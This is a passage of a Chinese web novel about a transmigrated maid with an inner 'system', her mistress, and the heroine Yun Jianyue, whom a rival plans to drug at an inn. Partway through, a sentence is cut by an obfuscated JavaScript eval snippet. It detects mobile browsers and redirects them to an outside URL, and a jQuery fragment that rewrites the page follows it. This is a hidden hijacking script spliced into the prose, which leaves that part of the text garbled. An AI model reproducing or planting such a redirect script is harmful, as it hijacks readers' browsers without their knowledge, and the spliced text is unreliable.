怪不得。我经常给小姐更衣,很熟悉衣服怎么穿怎么脱,刚刚脑海空白,手指下意识自己动起来。 我娘淡淡一拢衣襟,也不怪我,自己重新穿衣服。 “我我我帮娘穿!”我逃也似的蹿过去,手伸向娘胸前,娘看起来想说不用,想后退, 我伸过去的手极快,正落在后退的娘胸上。 我下意识抓了一下。 有弹性。娘穿着娇艳的粉色肚兜。和她平时总穿的灰扑扑颜色外衣形成鲜明对比。 就在这个瞬间,我模模糊糊想到,其实,她不是我有血缘关系的亲人。 这么做不合适。 但她是我娘哎。 小姐小时候还吃过她的…… 我的脑袋重新被疑惑充满,不在孕期的女子,应该、没有奶水吧? 【唔,严格来说,如果宿主要追根究底的话。大部分世界,不在孕期的确没有奶水。当然,大部分。你总要允许个例存在,那些非人物种……】 「可我娘是人。她以人族身份在我身边,如果做出这种人族不该有的行为,早就被界规发现不合理,驱逐她出去了。」 那小姐和我小时候都由娘照顾,吃的到底是什么?还有她讲给我的过去……这些经历应该是真的。 我把我的手从娘肚兜上拿开。 娘飘忽地看我一眼,低声说,“我自己来。”背过身去。 她……她不生气啊。 她怎么能不生气? 要是小姐被人这样,我会当场砍了那人的手。 会不会是,她真的……把我当成她的亲生孩子,才对我这么包容? 我晕晕乎乎分析着,透过窗户瞥见我家小姐在窗外烧虫。 她是真的不怕,指着巨虫,空中有火焰腾空而起,被控制在一团范围内,火焰在她面前熊熊燃烧,小姐就像个指挥家,野心勃勃操纵着她的世界。 这一刻,我看见的是……气势十足的小姐。我家小姐是个很强势的女孩子,我知道,但她……她很少在我面前表现出这种强势,我看见她都是温柔的,她只对我才这样,对那什么十五殿下也一如既往强势,即使礼仪老师说,男子都喜欢温婉柔顺的女子,要小姐至少装一装样子,以后结了婚再暴露不迟,小姐还是不在乎这套说辞。 所以……小姐她是, 对我压抑着本性? 可是没必要吧。强势的小姐我也喜欢。 就算是强势的小姐,也会让我抱着撒娇,也会笑着戳我的脸……欸?那这就是真实的她。 嗯……想不明白?就是说,小姐应该对她喜欢的十五殿下温柔一点?她说不定是忘了。 但不是说,在喜欢的人面前才希望露出真性情吗。 也许小姐就是想让十五殿下接受真正的她!我认真想出一个结果。 小姐,好像真的很喜欢男配! “……” 我战胜小姐悲惨命运的决心无比坚定。 没错。战胜这个世界。不过是区区一只头那么大的虫!我应该把它视为一块石头,而不是恐惧对象。 如果我连怕虫都克服不了,万一以后哪天小姐在虫子堆里走向命运终点,那怎么办? 我冲出门去。 我没做什么。只是站在旁边,看小姐处理陆续找到的虫。 我盯着看,没有像往常一样放任自己头脑一片空白,也许我现在还做不到用法术抓着这么大的虫处理掉。 我已经,迈出了一步。 而且,眼中野心勃勃的小姐。 ……对我来说有致命的魅力啊。 对我来说,哪个她都是她。首先她是她,其次她要幸福快乐生活,最后她可以成为任何一个她愿意成为的她,而不是为了讨夫君欢心压抑自己本性。 小姐处理完了虫,我对她张开双臂,她走过来,我抱住她。她像往常一样摸头安慰我,温柔似水。 我抓住她在我背后的手,眯眼:“小姐,我们跳支舞吧!” 小姐怔愣,不知我怎么会想到这件事,我抓着她,迈开舞步。 没有礼服,没有声乐伴奏。小姐不会介意的。 她在我身旁,我们各用一只手相握。 原本动作不是这样,是我不想松开她,小姐任由我抓着她了。 一开始,我们的手,是握着。随着脚步滑动,旋转。小姐好像也用了些力气,握着我。 后来,我们另一只手也握在一起。我与她对望,小姐还是那样温温柔柔地笑。 结束时,应该是她迁就我,任由我把十指扣入她指间。 小姐她最宠溺我了。 我的确想一直和小姐还有娘在一起。 只是,我不认为在我拆散了小姐的姻缘后,告诉她,如果她喜欢我,是我故意为之后,她还能心平静气待我。 爱应该是很脆弱的东西吧。 而我和她,都充满野心,就像我观察到的,就像我们的共舞。仇怨诞生后继续绑在一起只会互相磋磨。 我喜欢闪闪发光的玉燃兮。 我想,我是喜欢她的。不管那种喜欢是什么,也许真的不只是想要永远做家人的契合。但我要做的事会伤害她。喜欢一个人不一定要一辈子在一起,希望她幸福,即使她离开我的世界, 那我也不会后悔。 “好好休息。”我放开手。 小姐眨眨眼,手指张开合拢,眼睛弯弯:“好。” 目送小姐回她的房间, 我在风中,以极轻声音念,“晚安,玉燃兮。” 14.上课下课 之后几天课程继续。 值得一提的是,关于虫越来越多的讨论沸沸扬扬,估计再过一阵掌门就会发现事态严重,采取措施了。 接下来是华长老的课,教授如何炼制丹药。 丹药配方是必备知识点,死记硬背就可以,难的是要把控火候。 我应该换一种表述,它更像是厨艺课。 差生表现为: 材料分不清,大火小火控制不好。 一说加水,把炉里的东西冲了个干净, 一说加药材,丹药炉有可能爆炸,虽然每人间隔一丈远,但仍旧有不少被炸怕了的人往锅里扔下东西就跑。 “学徒们,注意,炼丹药时眼观六路耳听八方,一旦发现身边之人的丹药炉出现异响,及时拉开安全距离。” 华长老一直游走场中提醒,“今天我们要炼的丹药是威力最弱的一种,就算爆炸也不会使人受伤,先作为测试。” 更有甚者,炼制时没问题,丹药拿在手里时才爆炸,一时间能看见不少见势不好把丹药当爆破攻击甩上空中的案例。 值得注意的是,搓药丸并不是用手,而是要用法术隔空搓,如果掌控不好,搓出的药丸就会不规则,越不规则越容易爆炸。 “为什么不能用手啊……” 一时间遍地哀嚎。 华长老幽幽:“也许,你们买的丹药中,说不定哪个丹修做药丸一时情急用了手,一点不讲卫生,我就是因为这样,才成为一名丹修。学徒们,讲点个人卫生吧!如果你们以后有谁打算成为丹修,请你们想想有无数人会不幸吃下你们的手皮,请想想你们一天洗几次手,解手后洗过吗……” 哀嚎没有了,遍地呕吐声。华长老的课也不禁言,怕天赋绝学者误打误撞炼制出毒药毒倒自己和周围一片人, ……就是说这事曾经真的发生过。 我家小姐对炼药之事非常擅长,本身是火属性,操控火候是天赋,再加上手巧,做出的药丸每颗珠圆玉润,透着晶莹微光,引得华长老侧目,对我家小姐大加赞赏,于是一下课,我家小姐就被包围了。 人太多我挤不进去,悄悄溜到云间月那边给我和系统蹭点能量。 云间月孤零零的一个,她这一世似乎真的下定决心不交朋友,她行为举止一点不出挑,做每件事都中规中矩,人也不太说话,比起温柔更偏向于清冷。 她不想对我开口,我也不和她说话,就站在她身边,我们并肩而立。 她这张脸,是真好看啊……眼皮上都像是有亮晶晶的霜白色珠光,她一眨眼,抖落一睫毛夕阳余晖。 要是她对我笑笑…… “云间月。”我叫她。 她看向我。 “如果我对你笑一笑,你也能——对我笑吗?”我问。 她看我眼神一时有些微妙。可能是她认定我是个登徒子,对她笑肯定也没好事,她竟然没用我先对她笑,直接…… 拉扯起嘴角,眼睛微弯,虽然眼中未见得有笑意,但这真是一个标准笑容, “满意了?”她笑着问。 “……你真好看。”我佯装捂着胸口。 她收起笑脸,重新变回微妙神情,估计是在怀疑我的脑子。 我说到做到,也对她露出笑容,“你看,我也很好看的!” “嗯。”她说。然后,她走了。 留我一人在原地心头颤动。 【宿主啊,宿主!你,你都没有情绪波动,装什么发花痴!】 系统无情拆台。 「她说我好看哎……」我还在回味, 「你没做过人不懂,被漂亮得像吸收天地精魄化幻成的女孩子夸赞自己漂亮,能让人飘飘欲仙。」 【……】系统沉默,【宿主,你用错词了。】 「没用错。说实话我很想对这张脸这个人做些什么,」【这更不行了宿主,女主将来要问鼎神界,不能破戒……】 我打断它:「所以我才在这纯欣赏,你放心,我定力很强的,哪怕挑四下无人更容易得手的我老师扑倒也不可能忍不住想对女主下手的恶念。」 【那就好。那就好。】系统得到了我的保证,那股子精神头也没了,整个统懒洋洋,【宿主加油,再过一阵子我们能破解出个关键剧情,我有预感。】 「好。」 洛长老的符术课我很感兴趣。 我本身能看见法术施展时生成的契约符号,那就是符术需要画在纸上的内容。仔细观察能发现,这些符号有点大同小异。 就像雪花。 有相似部分。 只要在画符时改写其中某些构造,就能达成完全不同效果。 画符,笼统分成攻击类符术和建造类符术两种。 一种用来实战,一种用来改善生活。 施展法术也是一样的。 我能操控微小变化。我家小姐呢……她哪个都很擅长,不管是攻击还是建造,但她有些……追求完美倾向,画歪了她会很难受。 符术是很有用的技能,修士卖符纸也能赚点钱。 那些非常厉害的符修,一纸难求,贵在无人能破解出契约结构,符纸派上用场的角度刁专,很多是特殊用途。 ……等到我不得不离开小姐,靠专研符纸也能赚点。山下应该有卖画符专用纸,可以买些以备不时之需。 最后是御兽。 教课的是和长老,青衣大美人。 其它课程多多少少会有些学徒缺席,反正也不点名,爱来不来,和长老的课能明显感受到,身边人群拥挤了些。总能在前排看见那位赵家小姐赵闻则,不过她与我们只是点一点头,更多注意力在和长老身上,我没与她说过话。感觉她对御兽非常感兴趣。 一开始是基础理论课。 御兽,御的是灵兽。 灵兽是体内蕴含许多能量的动物,它们拥有一定心智,并且会自行感悟功法,像修士一样修炼,有的能够修成人形,那就是妖修,可以离开人界去往妖界,那里更适合妖修炼。妖有两种,由妖诞下,或是像这样修炼成妖。 许多灵兽土生土长在秘境中,或者各界人烟稀少处,能不能走兽修这条路不光看天资,也看体质。 不少兽修有天生的亲和力,不只是受灵兽喜欢,也受普通的动物喜欢。 这样的兽修往往被灵兽追着结契,可能就是为了吸一口身上味道,于是不少兽修会苦心砖研灵兽喜欢的香味。 正道御兽术是通过契约来让灵兽驯服,心意相通到一定程度,契主可以感受到灵兽思绪。 嗯……就是,我有个困惑。倘若,我不把对方看做是和我对等的同类,我比对方厉害,那我是不是可以强行和任何一个人形种族缔结契约,而不只是和灵兽? 这种怪问题我是不会问的, 肯定不会在这里问。 简而言之,基础理论教了,能不能真的拥有自己的灵兽,要看天时地利人和。 趁着我家小姐拉着和长老猛记笔记,我再次悄悄溜到云间月身旁。 今天天色还早,是下午秋日阳光正好的时候。 我和她站着。 “女主。”哦,我叫顺嘴了。 系统老女主女主的,在我脑袋里狂吼说还差最后一点,一定给她破解出来, 明天就休息了,我得想办法缠住云间月。 “云间月。”如果足够熟悉我,肯定能听出来,我准备撒娇前就是这语气。 “今天是下午正好有空,跟我去树林,我给你跳个舞吧!” 云间月不理解,我能看出来, 她现在那表情就像早餐买的包子咬一口发现馅不对,但是吃了也毒不死,所以不得不继续吃着。 是,我这几天一下课就找机会缠她,她多半不搭理我,和我站一小会,够数几个数看她心情。能不能缠住她看我本事。 我已经给她表演过我不少独门绝学了。 就差给她表演怎么在两个数之间解开外衣中衣瞥见肚兜。 “你不和我来,我说不定会给你表演我如何解决生理问题。” 就是说哪怕在她身后跟到我想上厕所,我也会原地解决了继续跟着她。 不过估计用不上,系统说它快了。 一瞬间,云间月惊异我还能说出这种话,那张绝世脸蛋呈现出一定程度的失语,“……走吧。” 午后阳光灿烂,我带着她走到不会被轻易发现的几排树背后。 云间月隔开十几步站着,好整以暇看我。 我伸开手。迈腿起势。 我给云间月跳了支舞。我想是不太好看。伴读制服灰扑扑的,用料差还省,听说上面有附加能挡攻击的法术,但这完全不妨碍它抠门到不多给点料子做宽袖,袖口紧巴巴。我可能像个大扑棱蛾子。这衣服跳舞真不舒坦,扎人,为了甩开不和衣服接触,我步伐开得很大。 要不是我里面穿得中衣厚实,云间月估计能在我殴打制服的猛烈动作下隔着中衣看见我腹肌形状。 实在是不像话。 反正就她一个看见。她以后成神了贵人多忘事,肯定不记得几万年前我给她跳过这支舞。想来那时她身边美人环绕,肯定是不记得这事儿的。 云间月就那么眉头不皱一下,眼睛不眨一下。看我即将跳完整支舞。不笑,也不发表任何见解。 「还……还差一点?」 我不可置信。但没办法,只能在一支舞快要结束时硬生生安插其它进去。 其实我脸都烫了。再怎么说我也是个女孩子,不是真的登徒子。 如果云间月不是女孩子,如果不是她脸蛋这么好看,我肯定…… 那也不是。 我身上好几条人命呢。 和小命相比,给女主跳个舞,唱个小曲儿,只要能保命,那我咬牙也会做。 只不过是因为,她是我喜欢的类型,所以给她跳舞—— 其实也是我在欣赏她。 我就在秋日阳光里,看我的女主,没有任何表情,认真注视着我。 她竟然,不嘲笑这么可笑跳舞的我。 也对,想到我现在随便扎一下的小卷儿头发,她见过我更可笑的样子。那时她也没笑。 她天生表情少吧。我和她在一起,全部是我在出糗。 “你……”眼见这支舞也要跳完,我开了个头继续拖时间。 还好我努力上进,为了让所有想救的人活下去我一定会助她成神,那时她身边追随者成群,怎么还会记得这么不好看的我? 但我应该会记她很久的。毕竟她这么好看。毕竟她—— “是我的女主。” “云间月,我给你吹个曲儿吧!” 我的女主屏气凝神望着我,我脸上燥热难耐。也不管她愿不愿听,地上捡起一片厚叶子,把心一横,吹起来。 第一声——是破音。 唉。难——喽。我再一想我家小姐。 我家小姐还在等我救她! 我身上这么多条命。 因为羞耻发抖的嘴唇慢慢平静下来,我深吸一口气,想到那天睡前小姐哼唱给我的歌。 我闭眼。按照感觉吹起树叶。 也许不太像。但好歹,有了旋律。 我的狂躁的心开始平静。那天的我家小姐,就像一朵红艳的玫瑰。 在一片喧闹中,在我心头静静盛放。只要我一想起她,便看见月夜下开放漫山遍野的玫瑰海。 红艳的玫瑰和安静风声。 也够我记住很久。 【宿主!辛苦了。大获全胜。】 系统一句,我如释重负。 吹树叶还能把调子拖得这么长……我真是,不易啊。 我睁开眼。 午后阳光忽然刺入我眼睛,云间月就是那抹白得剔透的光,九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602818|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天之下落进我眼中,她在十几步外疾驰而来,硬是把中规中矩的纯白学徒制服穿出仙气袅袅,停在我面前, 我看见她睫毛上的雾,她凑近了凝视我。 “哪……哪里。”她低声说。 声音太低了,我没听清,“什么哪里?” “你在哪里学的?” 她是在问我从哪学的吹树叶?嫌我吹的难听? “……乾坤造化。”是大自然教我的。它秋收冬藏。等冬天就没叶子了,她想听还听不到呢。 可恶。 我问系统,「现在说,趁新鲜。」 【明天放假,女主在今夜出去解决之前招惹上的东西,被一直在山门附近蹲守她伺机报复的荷乘蕴悄悄跟上,一直跟她到客栈,给她在喝的那杯茶水里下了药。】 说是明天放假,其实今晚山门就开了,想离开的学徒可以先走。 我看一眼云间月。 她还在那思索我那句话到底什么意思。 「继续。」 【好嘞。接下来是揣测,估摸着……荷乘蕴应该是想下毒,但是她买错药了,买成那种有迷情功效的。她自己不知道。这种阴差阳错就是女主倒霉,作者恶趣味,再派个男配和女主产生纠葛,又能扯几十章。但女主上一世可不是,她自己中药,忍了几百里地去泡最冷的泉水,后来才知道卖药的是家传老字号,药效可猛了,平时不出来走街串巷,那天荷乘蕴运气好才教给碰上。女主吃完硬生生一个人扛过来。不过……是药三分毒。之前不是说过她有心魔吗?她这一回是挺过来,猛药让她身体里出了点状况,她本身也有点邪修天赋在身上,药虽然不至于让她走火入魔,但容易让她时不时人格分裂,每次一发作,她体内另一个压抑的自我就会蹦出来给她找麻烦,就先猜是多次打破规矩害她受罚,吃很多不该吃的苦……之类?那时候女主自己不清醒,记不得。】 都时不时人格分裂了,黑化还会远么。这不就临门一脚的事,赶上哪回女主的里人格不想回去,那可真是性情大变。嗯,云间月她,麻烦事多,是个充满故事的火…药桶。指不定哪下就点着。 「……继续说,我听得津津有味。」 【没了,就这些,后面那些是由系统根据猜想补全。女主自己也这么想。】 哈,她也这么想? 我忍不住打量我面前的云间月。她好像想明白那句话什么意思,有点皱眉看我。 别说,她这样很可爱。 绝世美少女困惑歪头的样子。 我沉吟。 这事,好像不太对。 「我们推测过,这本书的作者是个心思细腻的人,那么也许未必喜欢这种恶俗桥段,也许有一种可能,这个药它并不是迷情功效,而是会暗中推动剧情发展的什么东西,只是在女主身上变成这样,现在我们看见的都是女主没有深思熟虑的表象,毕竟……她也没经历过那事,对人类行为一窍不通,全靠猜。」 【宿主说得。很有道理。所以,宿主的决定是——】 「不能让她喝那药!」我心中叹气,最好能让荷乘蕴明白这其中有什么缘由,换个仇恨目标,比如换成追着云间月的那东西,她招惹上的肯定不是普通人,之前那么大的雷云都来了。 云间月十有八九是做了什么害那东西不轻的事,一报还一报,她早晚得付出同等代价来抵。所以还是留着她满血去对付那东西吧,可别中什么药还人格分裂了。 “这支曲子……我……好像有印象。”云间月想了许久,微微歪着头,对我说。 “明天放假,你还在吗?”我张口就问。 “……”她凝滞,认真对我说:“我,是要出行一趟,我不在的,你不用来找我了。” “我要跟你去。”我都没问她具体去哪。 “不行!”她语气瞬间激烈。自己又圆回来点:“不行……我。我有事。” 你能有啥事?!上赶着喝那杯药,喝完了以后两个人格,自己和自己晨昏定省? “让我跟你去,回来我告诉你我在哪得来这曲子。”我心情复杂地对云间月苦口婆心。 “你不能去。很危险。”她固执否定。 在她看来,我也同样让她不理解。 “你最好同意。我跟你说,冬天没有叶子,错过这次,下次你再想听得来年春天。我是跟我家小姐来的,也许……她来年春天就回去成家了。你这辈子也别想再见到我。” “……”云间月后退了一点,她一连后退好几步。“你,你分明是个邪修——怎么能说是决定不了自己命途——” 我扑过去,一拳锤她头顶:“有得选谁当邪修啊!” 云间月躲开,但我抓住了她一缕头发。现在我超凶的。 “抱歉,”她说,“我不知道这会冒犯到你。” 我笑:“那倒不是,邪修挺好,要是再有新的机会,考虑看看这条路?” 我等来仍旧只有云间月否认。 “以前的我杀死过——就当是这样,我见过邪修散仙。现在想来她的确是邪修,她和我道不同。” “所以你杀了她?” “她劝我在人界享乐,或是杀了她再前进。” “呵,那我还真想见见她。” “你好像,已经遇见她了。” 我猛然想到一个可能:“你是说——”哐当!!! 别怀疑,这是一道雷。之所以这个动静,是因为…… 落雷瞬间,云间月挥舞一枚长条金属,击中雷后斜劈进地面,一半雷击与她相撞被打散,一半被金属导入地下,与雷搏斗让她浑身震颤,接着她就若无其事站直身体。 她怎么能若无其事???那可是雷……天雷啊!! 她没有我直面雷击来得害怕。我怕得发抖。 她直视我。 “怕么,不怕你就来。日落前山门处集合,日落不来我就走,过时不候。” 15.我喝下她的茶 一条暗巷前,荷乘蕴向里面张望。 她本来不走这条路,但是今天,她就有种预感,进去了有事发生。 都是之前买消息时听那个名叫叁笙的神算说什么‘你的未来将会改变云云……’给闹的。 荷乘蕴闹心啊,杀徒仇人没找着,她竟然都开始信起这套卜卦骗术来了。 “走就走。”她嘀咕,“不就是一条小巷,我七千年道行,怕你不成。” 身正不怕影子斜,荷乘蕴抬腿就往里走。她倒要看看这条被人施了障眼法的巷子里有什么。 随着深入,原本黑漆漆的小巷竟然明亮起来,里面别有洞天。 其实也没啥,就是有个女道人,在那摆摊卖丹药。 原来是个黑衣丹修。 荷乘蕴精神一振。 通常这种不上门推销的丹修都有些家传真本事,恃才傲物,平时一药难求,偶尔心血来潮才走街串巷,卖东西全讲一个机缘。 她的机缘这不就来了! 荷乘蕴走到摊位前停下。 那个丹修问:“这位女仙,可需要什么药?” 荷乘蕴:“要那种能让人吃了昏睡不醒的,但是,还得让对方有感觉,你这里有么?” 她追着的那人太狡诈,一般手法都无用,她就是要这种药,迷晕了那杀她徒儿的凶手,要那人在昏迷中感受凌迟痛苦! 丹修目光间隐有敬佩:“有有有!女仙天姿国色,再辅以这丹药,纵使对方是铁打的身体,也定能手到擒来!” 荷乘蕴来了兴致:“手到擒来!这个词好,真的有此效果?要是诓我你提头来见!” 丹修拍胸口,指着摊位:“你看这块妙手回春楼的招牌,对它使个法术就知道是真家伙,可不是那些卖假药的,我家在人界坐镇三万五千年,几十栋楼都风化塌了,招牌还在,老字号绝对保真!” 荷乘蕴这才看见摊子上有一块不起眼的巴掌大小木牌,对着施了个法术,木牌华光一闪,空中投影出五个金色大字:妙手回春楼 她放心了:“行,给我双倍剂量,来两个正好成双!定让那人吃不了兜着走!” 丹修望着她目光更加敬佩,“女仙好志气,佩服,佩服。” 荷乘蕴宝贝似的怀揣着药,志得意满从小巷子出来了,完全没回头看身后, 她身后,哪里还有什么暗巷,就是一个死胡同。 等她彻底走远,黑衣修长人影凭空浮现,看了一会再无人走过的胡同口,自言自语:“我,不是很懂,主人说,不必固定药的品类,对方需要什么就真的给那种效果的药,不能砸了妙手回春楼的招牌。那个女修……的确是向我讨要迷情药没错。可……今天这摊位上所有药都是主人亲自研究出配方,不论选什么最终会得到同样效果,好奇怪,算了……” 黑衣人自顾自收起摊位,身影化作黑雾与树荫交融,整个人完全消解在空气中。 · 「你看见了嘛!我会被雷劈啊啊啊!!」 那道雷击仿佛还在我面前,我回屋想收拾行李,再一想,离开一天也没什么可带,换上舒适常服,揣上一套里衣,也差不多了。 真要说该带的,我该带上能避雷的东西。但那玩意我没有,谁没事身上揣一块金属疙瘩。 就算有,雷劈下来我能精准打中?! 我做梦!做梦梦见雷劈我还会醒呢。现实中……就死了。 【嗯……看来宿主的确有被雷劈风险。从理论上来说,是可能的。】 「凭什么啊。」 一个话题主角能说,我不能说。 【因为世界默认它付出的能量都要由女主给她还回来,即便女主窥破天机。从理论上来讲,你无法还给世界对等的能量,所以女主能把世界秘密世界真相窥探个底朝天,你不能。你被世界发现,世界就劈你。这次是女主帮你挡,下次她不帮你自己躲开,倒霉的就是宿主了。】 「那我真当上神算岂不是还是要被雷劈。」 【是啊,有本事的算命师哪个不是天残地缺。在统的世界也是这样,世界秘密知道得太多……不少人在监狱里给主脑敲代码呢。你理解成蹲监狱也要给主脑加班加点干活就行了。】 ……我谢谢你的安慰,系统。 我把一套里衣塞进内袋,又装好钱。 该怎么对娘和小姐说这件事…… 我踌躇着。 总不能说句,‘娘,小姐,我出去夜不归宿鬼混啦!’ 然后摆摆手就走吧。 一抬头,娘发现了在门口徘徊的我。 “娘,我要出门一趟,晚上不回来了。”嘴皮一秃噜,话说出口。 “朋友?”我娘问我。 不不不不不,那不是我能高攀得起的存在。 我眼睛瞪得溜圆,头摇得像拨浪鼓。 我为了救我们一家子反派的小命,在与虎谋皮呢。 我娘好像懂了。她懂了! 娘从袖袋里摸出一个小香囊,没说是什么,让我接下。 我接了,纳闷是什么。 “是避孕汤,煎服。”我差点把香囊扔出去,烫手! “娘……她是女孩子……”我欲哭无泪。 我娘看看我。点点头,把香囊抽走又收回去。 “玩得开心。”她想了想才说。 不是,我娘,她怎么有这种药啊! “城主托小姐的礼仪老师转交过来的。怕小姐一时情急控制不住。灵佑,你真的不要么,这里还有很多。”娘慢慢解释。 城主,果然很在意,避孕的事。现在,我倒是好奇那时候小姐和城主说了什么,以至于城主会认为不算太乖巧但懂事的女儿会对心上人把持不住了。 小姐的剽悍对城主也一如既往…… 我失魂落魄地再三谢绝我娘那来自城主的好意,脚步虚晃去找我家小姐。 我家小姐……在院子里,圆桌上背书。 她实在是太美了。 乌发雪颈红唇。 我一时忽然有点心虚,好像我真的是偷溜出去鬼混的…… 小姐瞥见我,抬头。 我走过去。身子趴在她桌上。“小~姐~” 来了,我的撒娇必备招数。 “灵佑要出去啊。”她说。 “嗯。” “去哪里?” “不知道,去山下走走。晚上随便找客栈住了,不回来。” “好,注意安全,早去早回。” 小姐对我笑笑,视线重新投回到书本。 喂,你的女仆可是要出去和别的女人鬼混啊! 就在这时,我想起来。 我家小姐…… 我家小姐喜欢十五殿下。 那天看见树叶上有我的名字,我还以为她…… 好像……是我会错意。 所以她对我,真的只如家人。我出门,她和娘都会问。 娘给我用不上的汤药,小姐说, 注意安全,早去早回。 我脚步虚晃,失魂落魄地走了。 一路走着,飘着来到山门前。 云间月没来。 我蹲下来,把自己抱成一团,蹲在原地等她。 【宿主……】 【您至于吗,因为自家小姐一句话,心情跌到低谷。如果心情值有温度,您都是冰棍了。而且她叮嘱你早点回来,不正是关心你吗?】 嘿,这系统,只有嘲讽我的时候才对我用敬称。算了,现在根本顾不上和它扯这事。 「可是。可是……她应该……她应该抓着我问,你是不是背着我有人了啊……」脑海中的我对着系统大哭。 【……宿主。她是你小姐,不是你妻子。】 「哇哇哇哇哇——她还不如——不如是我妻子呢——」 【宿主,您好难搞。那您还要她怎样,把你拴腰带上,走哪带哪?】 「如果我家小姐夜不归宿,那我就要挂她腰带上,怎么了!」我这是胡搅蛮缠。退一步讲,如果小姐是我的姐妹或者女儿,她夜不归宿,我也会想把她挂腰带上看着! 【嗯嗯……】系统哼哼,沉吟,【可是在你们这个时代,不得不贤惠大度的正室也会这么说啊。什么早去早回啦。什么玉佩香囊啦,就是希望伴侣出门在外想到自己的。】 “真的?!”我一声惊呼。 系统一震,给自己找补:【但,但我只是个统,空有心理学程序,又没当过人……不知道实际情况如何。】 我迅速失落下去。眼角余光瞥到一抹荼白。 云间月又穿着那身不像白不像黄的衣服来了。“走,” 她轻轻一点头,掠过我就走。 我想起身,动不了。连忙叫她: “我……我腿麻了,扶我起来。” 云间月向前的脚步猛然顿住,转身,重新登上几个台阶,扶起我。 不太情愿。 但她每次都掩饰得很好,不会让人轻易察觉她的这些微妙情绪。 如果不是我对情绪有直觉般的感知,也不会这么敏锐观察到她的情绪起伏。 会不会是—— 就算没有那杯药,她体内其实也一直有一个另外的她自己?!类似于负面情绪心魔什么玩意,所以我特别容易感知,还是这是系统给我开的小灶? 【非也非也,宿主。检测女主情感波动功能已关闭,这就是你的直觉。你多跟她聊聊,我破解接下来发生什么。】 我确实不需要强行耗费能量去探知云间月的好感度,原作设定她和无数男角色有关系,她估计不喜欢女孩子,她的爱……一般人承受不起。幸好她不爱任何人。尤其是我。 “你怎么总穿这件衣服?”我跟着她下山,随便扯一个话题开聊。 “这是我之前门派的制服。门派被洗,只有衣服可拿。” “你……”我说,“你从前的师长朋友就这么死了,你不对她们有一丝半点留恋?” “……为什么?”云间月奇怪看我一眼。“我爱她们如同爱世间万物,那么世间万物于我也等于她们。” 原来,女主是这么想的。我……诧异。我能理解她。万物无相吧。 就是,反正无法阻止分离,她摆烂了。最后爱谁谁,我谁都不爱。你问我就说我爱世界,我爱你个鬼。我非得跳起来给这世界一巴掌不可。 这才是符合一个年轻人应该有的想法。反正听系统第一次讲那一大段她的凄惨身世时我是这么想的。 “怎么,你该不会也要说,我是个疯子?” “我能理解。”我说。 但女主她重生在了过去的自己身上,她取代过去的自己看破虚妄,变得沉着。 她身上的另一个她,有没有可能是被覆盖的那个年轻时她自己? “你什么都不懂。”云间月说。 我们站在山脚阶梯下,她仰望高山云雾,还有头顶的银色太阳。 面前,是熙来攘往村庄,集市。 “可会骑马?”她问我。 我有点好奇我说不会她要如何。“不会呢?” 她回身一指我们狂奔下来的阶梯:“那你就上山去。” “嗤。”我笑她这顽固不化样子,率先走向集市。“走吧,租两匹好马。” 考虑接下来有仗要打,我也认为留存体力和能量骑马赶路更好。 倒是她,看我几个瞬息,跟上。 我们租了马,往一个方向赶。 我特意暗中留意身后。荷乘蕴比我们厉害许多,她有意暗中跟着,我很难发现她。 「真的在啊?」 【在的在的,包准。一直有一团黑色能量跟着女主,不算太远。】 那发现我在这,她应该得更生气了。 我们一路无话,云间月去哪,我就跟着她。 我们穿过城池,穿过村落,这边已经不是修仙者的地界,在穿过最后一处城镇后,路越走越荒凉。 在人界……除了人皇授予城主治理的地盘,还有些在城镇外,偏僻山脚下的小村落,也归附近的城镇管,但平时只派几个官员负责管理,真有大事才会报给附近的官府。 现在云间月就是带我走到这样偏僻的地方。 下午时还有太阳,随着我们越走越偏,天色也暗沉下来,跟着她的那块乌云好像……又来了。 天黑得吓人。 路上再没什么东西,直到远方隐约有几层小楼建筑。 这肯定是这附近唯一的客栈。 近了。 云间月停在客栈前。 “在这里,住到天明出发。明天日出后不久就会抵达。” “好。” 一路上我都在琢磨怎么不让云间月喝那杯茶。现在我们都还是凡胎之身,她不可能不吃饭喝水,我不能一直阻拦她吃东西,让她明天饿肚子上战场,那更不现实。 荷乘蕴几千年修为,想下药防不胜防。 云间月和荷乘蕴,这两个因素我都改变不了。 而世界意志肯定会让云间月喝下那杯茶,只要那杯茶存在,哪怕掉到地上,世界肯定也会阴差阳错让云间月喝下去。即便她不想喝。 我不能以任何方式未卜先知说出即将发生的事,否则雷就会来。 唯一的办法是,那杯茶…… “……” 我们在柜台开房间。伙计以为我俩一间,递过来一副钥匙一块门牌,“三号房。” 我接了,拉住要说话的云间月,“我跟你一起出来的。”这就是胡搅蛮缠。 如果云间月是荷乘蕴,得当场甩我巴掌。 “……”云间月还没开口, 我堵住她:“你又没试过和我住一间,怎么就知道不行。再说真不行等会你再开一间。” 这回我看得真切,她脸上的笑,快挂不住。 坏了,等会回房间,她非得打我一顿不可。 我执意拽着她。以云间月的性子,不可能在人前和我拉拉扯扯,让人看笑话。 她被我硬牵着走了。 三号房……夜晚客栈只在一侧走廊点了蜡烛,离得远,门牌有些看不清。 就是说,前面两间,住着人的。 我瞥一眼门牌。 并不是所有人都识字,不识字的门牌上写什么也看不懂。 客栈的门牌很多都是用画线表示,有几条线就是几号房。 一号房里面有烛火,有人在。 对间二号房没亮灯,门口挂了有人的牌子。 系统说荷乘蕴在这。 我硬拽着云间月进了一号隔壁的三号房。 一进屋,我俩也不说话,就在椅子上一左一右坐着,干瞪眼。 云间月把我瞪得有些不好意思……黑灯瞎火,被这么个好看的人专心致志盯着, “你看这样,睡得着?”半晌她冷哼问我。 我一时鬼迷心窍,回想起从系统那看来的不知哪个资料,英姿飒爽的大美人追着小美人,口中发出桀桀怪笑: “‘美人儿!你就从了我吧!’!!” 记忆重叠,我对云间月蹦出这么一句。 咳,其实我该扑上去,和她来个绕柱几回合,这样才能凸现我的英姿和被她打了后赖着房间不走的底气。 然后在她被我气得口干舌燥想喝水时趁其不备抢走她的茶。 【宿主……】系统幽幽。 